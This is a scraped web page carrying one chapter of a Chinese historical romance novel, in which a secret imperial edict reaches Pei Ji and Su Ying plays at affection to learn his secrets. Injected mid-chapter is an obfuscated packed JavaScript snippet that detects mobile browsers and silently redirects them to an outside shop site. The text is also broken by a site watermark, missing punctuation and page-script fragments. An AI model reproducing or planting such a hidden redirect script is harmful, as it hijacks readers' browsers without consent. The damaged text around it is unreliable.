第 70 章 忍不住了

作品:《惑兄

    烛火昏黄,照出应穆沉肃的脸,他随即将斗笠再又压下,低声道:“无羁,我不能停留很久,咱们长话短说。”


    光线骤然一暗,裴羁移开烛火,转身向书房套间走去:“国事?家事?”


    无论国事家事,必然都是大事,大到应穆不放心交给旁人,自己冒着风险,夤夜前来。


    “都有。”应穆跟在他身后,“无羁,我可能很快就要贬谪外放。”


    裴羁步子一顿:“裴则怎么办?”


    应穆争储失败后,他便料到会有这么一天,历来参与争储的失败者都不会有什么好下场,尤其如今,相王名为太子,实际上只不过是王钦的傀儡。


    东宫全部班底,三师三傅皆是王钦安排,相王府原有的僚属遣散大半,近来朝中传来的消息说,太子称呼太和帝为阿耶,称呼王钦为尚父,每次见到王钦都要恭恭敬敬行礼,王钦声势之大,已至顶峰。


    当初应穆争储之时,与王钦狠狠交手过几次,王钦绝不会就这么算了。


    “她留在郡王府,”应穆抬眼,“边地苦寒,我不会让她跟我一起受苦。”


    裴羁看着飘摇的烛火,想起他拒绝应穆提亲,强要带裴则回魏州时,裴羁不顾一切的反抗。那是裴则生平头一次与他抗争,她是真心爱恋着应穆。“也许她更愿意跟你一起走。”


    下意识地,回头向窗外一望,厢房灯已经熄了,苏樱应当已经睡了。突然觉得怅惘,又有深沉的哀伤,一步错步步错,与她终是走到了这一步,终其一生,还有可能得到她真心的爱恋吗?


    厢房,苏樱看见书房灯火一暗,方才拖在窗户上的人影不见了,裴羁去了里面的套间。那里没有窗户,从这边决计是看不到的,让她一下子警惕起来,如此做派更像是商议机密,谁会在这时候,为着什么机密事来找他?


    书房。


    应穆四下一望,套间没有窗,靠墙几排锁着的柜子,一案一几一榻,看起来是裴羁平日处理要事的地方。在榻上坐下:“则儿留在长安更合适,有岳父岳母照顾她,好过跟着我朝不保夕。”


    况且这次贬谪,他还另有使命,也不方便带她。


    岔开话题:“我这次来,更要紧的是国事。”


    裴羁掩上房门:“何事?”


    窸窸窣窣


    的布帛摩擦声中应穆自怀中取出一方黄绢:“圣人密诏。”


    裴羁心中一凛连忙跪倒灯火下应穆沉默着托起黄绢裴羁抬眼看见黄底云纹上幽暗的红字:诛王钦。


    太和帝的御笔但不是笔墨而是以鲜血书写下面印泥鲜红盖的是传国玉玺。


    局势已然坏到这个程度以至于太和帝不得不以血书拟诏了。


    应穆收起黄绢重又放回怀中:“立储之时圣人原本属意于我王钦借赵友光之手在丹药中下毒圣人因此龙体败坏在神志不清时答应立相王前些日子圣人已然发觉丹药有异只是王钦势大不得不假装继续服药三天前圣人秘传我入宫付我密诏命我联络义士共诛王钦扶保皇室。”


    裴羁抬眼:“需要我做什么?”


    “游说田昱等时机到时入京勤王。”应穆道。


    “田昱未必愿意”裴羁垂目“不过。”


    魏博自成一体哪怕朝堂易主也丝毫不会影响到节度使的地位况且田昱此人并无王图霸业之志最大的困扰无非是牙兵不驯此次牙兵内讧过后必将收服以田昱一贯的保守求稳未见得会参与此事。


    “如今禁军大半已归王钦之手内卫也被捣毁圣人病体难支所有希望都在外援。”应穆怕他不答应忙道“只要你能说服田昱入京勤王必不失公卿之位则儿也不必再跟着我受苦。”


    灯火下他一双精光四射的桃花眼紧紧盯着他裴羁心中微哂。他费尽心机求娶裴则原就是要把他绑在一条船上又何苦再拿裴则来加砝码。抬眉:“当初裴则手里的药是不是你给的?”


    当日之事他细细想过裴则深闺娇养如何能有蒙汗药?除非是应穆给的。就连苏樱能走得无影无踪连他多番搜寻都找不到痕迹说不定也是应穆为她善后。


    应穆眉心微动半晌:“是。”


    见他目光陡然一冷应穆忙道:“我是为则儿着想她知道你的事后心中伤痛啼哭不止我不能不管。况且无羁我也是怕影响你的声誉。”


    为裴则着想吗?只怕是担心此事传出去影响郡王府声誉进而影响他立储之事。或者还想以此为把柄拿捏他。裴羁淡淡道:“公卿之位


    应穆顿了顿,知道以他的能力手段,即便此时罢官,迟早也会东山再起,如今太和帝已被架空,郡王府亲兵只有不到两百,无法成事,眼下最大的指望便是他能说服田昱,以魏博雄兵助他翻盘,低声道:“只要事成,将来无论你提什么要求,圣人都会玉成。


    裴羁看他一眼。当初之所以来魏博,一是为了离开长安,避开苏樱,二则也是看出朝中局势必将动荡,转机或在藩镇,因此挑选了深受牙兵掣肘的田昱为入手点。他所谋者,原本也在国与民,倒是不消应穆以利益来诱惑。


    但,既然如此。“我想要一道赐婚圣旨。


    应穆怔了下,下意识地向外一望,门关着,什么也看不见,但他知道苏樱就在府中,知道裴羁因为坚持要娶苏樱,受了杜若仪家法,又被卢崇信攻讦,褫夺官职。但他万万没想到,裴羁竟如此执迷不悟,如此不世之功便是封侯拜相也不是没有可能,他竟只要换一桩婚事。“无羁,圣人恩典非同儿戏,还是多想想前程吧。


    “前程我自会挣。裴羁抬眉,“我意已决。


    求一道赐婚圣旨,风风光光娶她过门,从前他亏欠他的,总能以此殊荣,弥补一二。


    应穆紧锁双眉。当初筹划与裴家联姻时,却是不曾看出来他竟是这么一个情种。但他连罢官都不在乎,更不可能听从一个并不亲近的妹夫劝告。此事还得再加几重保险。“若田昱不肯相助,还能找谁?


    裴羁淡淡说道:“窦晏平。


    应穆大感意外,他与窦晏平,难道不是因为苏樱结仇,水火不容吗?“为何是他?


    “他麾下牙兵两千尽皆能战,亦且对他忠心耿耿,只要他肯相助,遂王府和郡主府也都尽属圣人,两家亲兵加起来将近五百人,再加上窦家的部曲和你郡王府的亲兵,总还可以一搏。裴羁道,“况且这些人都在京中,调动便利,不比藩镇兵,入京时很难避开耳目。


    应穆点点头。魏州到长安一千多里地,即便田昱答应,如何瞒过耳目运兵到长安也是个问题,这么看的话窦晏平的确是个不错的选择。但窦晏平肯吗?裴羁如今同他是一条绳上拴着的蚂蚱,自然会帮他,但窦晏平身家优越,又何必冒这个险?“他会甘冒此险?


    裴羁垂目:“他是正人君子。


    当初能哄骗他去剑南,便是看准了他这一点,如今亦是。窦晏平只要见到太和帝的密诏,必然会选择诛奸佞,保社稷。


    听见应穆幽幽说道:“若他能出兵勤王,功劳未必在你之下。


    不错,窦晏平若能出兵勤王,功绩必然在他之上,到时候对付他必然更加容易,但,国难当前,岂能因私人恩怨,妨害大业?裴羁淡淡道:“我知道。


    全然疯魔了,丝毫不考虑自身,还有裴则的利益。不过,他要的是诛杀王钦,夺回储位,只要能办成,倒不在乎是谁来办。应穆点点头:“除了窦晏平,以你看来,朝中还有哪些人可靠?


    “顾相、沈相皆对陛下忠心耿耿,兵部王尚书三朝老臣,亦可托付。裴羁不紧不慢说了下去。


    应穆默默听着,这些与他素日暗中观察的,一大半都对上了。裴羁远在魏州,又仿佛沉迷于女色,没想到对朝廷动向掌握竟如此精准,心机之深,其实可怖。幸亏他早早将他绑在了同一条船上。


    三更刁斗响时,应穆起身离开,他是乔装改扮,混在江河的随从里一道来的,如此身份裴羁自然不能相送,站在窗前看他压着斗笠飞快地出了二门,厢房的灯突然亮了,帘幕后人影一闪,是苏樱,她不曾睡,独自在窗前看月。


    让他突然间心尖一热。几个时辰不见,竟恍如隔年。快步出门来到她窗前,她不曾躲开,让他顿时生出无限希望,隔着窗子唤她:“念念。


    镂花的绮窗无声无息开了,苏樱看他一眼,没有说话。


    让他心里的希望陡然放大成数倍,隔着窗子,忍不住去握她的手:“念念,你终于肯见我了。


    说</a>更新,记住域名caixs⑸(请来才小


    说


    看最新章节


    完整章节)


    攥得很紧,苏樱觉得有点疼,皱眉抽回来,他也觉察到了,喑哑着嗓子追问:“是不是弄疼你了?


    苏樱看着他,低低嗯了一声。


    方才她躲在帘幕后看着,那个离开的人隐在夜色里,外面不知是有意还是凑巧,廊下的灯笼恰好熄灭,她只模糊看见那人身量高高戴着斗笠,容貌如何却丝毫不曾瞧见。


    但她觉得,不可能是来谈窦玄的往事,那些事不足以让裴羁带人去套间谈这么久。多半是其他机密要事,说不定与卢崇信有关。


    “念念,裴羁隔着窗户再又伸手,这次收着力气,轻轻握她一点指尖


    ,“你若是生气,打我骂我都行,不要不理我。”


    她的冷淡疏远比刀斧加身更让他痛苦。整个下午他枯坐房中,关闭门窗,试图感受在长安那一个月里她的心境。但,又怎能感知她那时痛苦的万分之一?他错了,错的那样离谱,而她这么好,竟然还肯见他,让他此时,简直要生出感激了。“念念。”


    苏樱又嗯了一声,再次抽回手:“夜深了,你快去睡吧。”


    心脏砰的一跳,她是肯原谅他了,亦且还这么慈悲,予他一些关切。在澎湃的心潮中裴羁甩开步子跑进门来,一把抱住苏樱:“念念。”


    降真香气刹那间变得浓郁,他埋头在她后颈里,脸颊摩挲着,带起一阵阵痒意,苏樱嗅到另一缕极淡的香气,仔细分辨,却是龙涎香,是不是方才那人的熏香?江河手下一个随从,居然能用千金难求的龙涎香?


    让她心中的警惕越来越强烈,轻轻伸手,抱住裴羁劲瘦的腰身。


    这无声的鼓励让裴羁眼梢发着烫,喑哑着声音哀恳:“念念,我知道我过去错得无可救药,只求你能给我一个机会,让我以后好好弥补你。”


    谁要他的弥补。苏樱垂目,轻轻抚他的头发,半晌:“方才来的是谁,是不是出了什么事?”


    “无事。”裴羁道。这些朝堂中事,无谓告知她,让她烦忧。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069333|137894||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“你不要骗我。”苏樱退开一步,与他拉开距离,方才温和的神色透出几分冷淡,“是不是他们又要对付你?”


    “不是。”裴羁顿了顿。她道,不要骗她。可这些事,如何能跟她说,“你不要担心,一切有我。”


    苏樱抿着唇,转开了脸。


    她早知道必定极难撬开他的嘴,他虽然对她不无迷恋,但他一向公私分明,觉得不该说的,绝不会告诉她一个字。但,今晚来的那人显然是有要事,万一是要对付卢崇信,她需得打探出来让卢崇信早些防范,毕竟现在,卢崇信是她逃走的最大希望。


    推开他走去榻上坐着,他很快跟过来,像白日那样伏在她脚边,仰头看她,苏樱叹口气,指尖抚了他的脸颊:“你总是这样,什么都瞒着我,你从来都不相信我。”


    手指柔软得如轻云一般,却带起一阵阵灼热的战栗。裴羁在激荡的柔情中情不自禁贴上去,用脸颊去追她的手,


    喃喃分辩着:“并非如此,只是些没要紧的公事,你不必理会。


    苏樱缩回手,他失落失望,伏在她膝上,仰着脸追逐她的目光。苏樱索性又转开脸不看他:“什么没要紧的公事?你总骗我。若是没要紧的公事,你怎么会带进书房?我都知道的,那里是你办要事的地方,每次你都锁着门防着我,就好像我知道了,一定会坏你的事似的。


    裴羁看见灯火下她笼了一层光晕的脸,她眼圈微红,声音也似哽咽,让他心里一下子抽疼了,伸臂抱住她:“不是你想的那样,我怎么可能防着你?


    “那么方才来的是谁,说的什么事?苏樱抽噎着,轻轻伏在他肩上,“是不是他们又要对付你?你会不会有危险?


    裴羁嗅到她身上暖热的香气,她缭乱的发丝蹭着他的脖颈,颈窝处忽地一凉。急急捧起她的脸,她倔强着转开不肯让他看,眼角有亮光在灯火下微微一闪,她哭了。


    是为他担心。让他突然一下几欲癫狂,痉挛着捧住她的脸:“念念,我的好念念。


    微凉的唇覆上来,带着虔诚,吻去她眼角的泪。苏樱感觉到他灼热的呼吸,他抱她抱得那样紧,简直要把她嵌进骨头里去了,让她觉得疼,不适应,又有说不出的怪异。若不是她牢牢记着他过去是如何待她的,就几乎以为,他是真心爱着她了。


    裴羁贪恋地吻着。眼梢,眼皮,鼻尖,脸颊,一切合适不合适的地方,微凉的唇很快变成了灼烧的烫,喑哑着声音,贪恋地想要得到她的一切:“我不会有事的,你放心,今天为的是朝堂中事,不是为我。


    脸颊贴着她的脸颊,全身都像是在发热,发胀,澎湃着,无法压抑的爱意。她在担心他,哪怕他今天亲口承认了对她恶行,哪怕她还生着气不想见他,但她那样好,竟还为他担心。


    “念念,


    苏樱紧紧皱着眉头,看见他闭起的眼睛,他的吻得细致,缓慢,一点点辗转,研磨,拉长了时间,让人心里都开始恍惚。苏樱觉得透不过气,他的舌突然缠住了她的舌。


    苏樱猛地推开:“你,你做什么。


    羞耻夹杂着抗拒,怎么都不肯让他再进一步,他在叹息


    ,呼吸时,是忽冷忽热,怪异的气息:“别怕,我们从前做过的。


    是,做过的,那些她绝不愿意再经历的过往。苏樱伸手挡住,推开他的脸:“别碰我!


    裴羁在迷乱中睁开眼,看见她来不及掩饰的,满满的厌恶。


    心一下子凉透了,颤着声:“念念,你……


    你想起来了吗,你看我时,怎会如此嫌憎。


    苏樱心里一惊,意识到自己的失态,连忙低了头:“你别这样,我有点怕。


    长睫毛垂下来,遮掩住眸中的冷意,裴羁慢慢地,伏在她膝上跟过来,抱她的腰。


    自下向上仰望,她长长的睫毛低垂着,眸中晦涩的光,她是被他惊吓到了,毕竟她现在什么都不记得,不知道他们之间,曾经有过那么多亲密。轻轻搂她在怀里:“别怕,我们是夫妻,我们之前,比这更亲密的都有。


    抬头,试探着,轻轻再吻上去。她皱着眉躲了下,裴羁握住她的脸:“求你,让我亲一下,只一下。


    亲一下,只是一下,他忍了太久,忍不住了。


    轻吻,舔舐,渐次深入。苏樱抗拒着,又不能不忍下,他越吻越急,肆意着掠夺,她被迫后仰,于是他反客为主,自下方欺身,转而掌控。


    外面的灯火骤然亮起,有急促的脚步声向这边走来,苏樱一把推开了他。


    裴羁喘息着退开,她理着鬓发,低低的声音:“有人来了。


    脚步声一下逼到近前,田午低哑的声音在窗外响起:“裴三郎。


    作者有话要说


    感谢在2024-07-1009:41:09~2024-07-1709:24:22期间为我投出霸王票或灌溉营养液的小天使哦~


    感谢投出地雷的小天使:斗地主小姐、YUYU、赭鱼1个;


    感谢灌溉营养液的小天使:麒麟今天好好学习了吗22瓶;ryejiszd17瓶;元宵佳节10瓶;第二年春5瓶;夏川聿、斗地主小姐3瓶;赭鱼、月光春卷2瓶;颜涔、西瓜肉包1瓶;


    非常感谢大家对我的支持,我会继续努力的!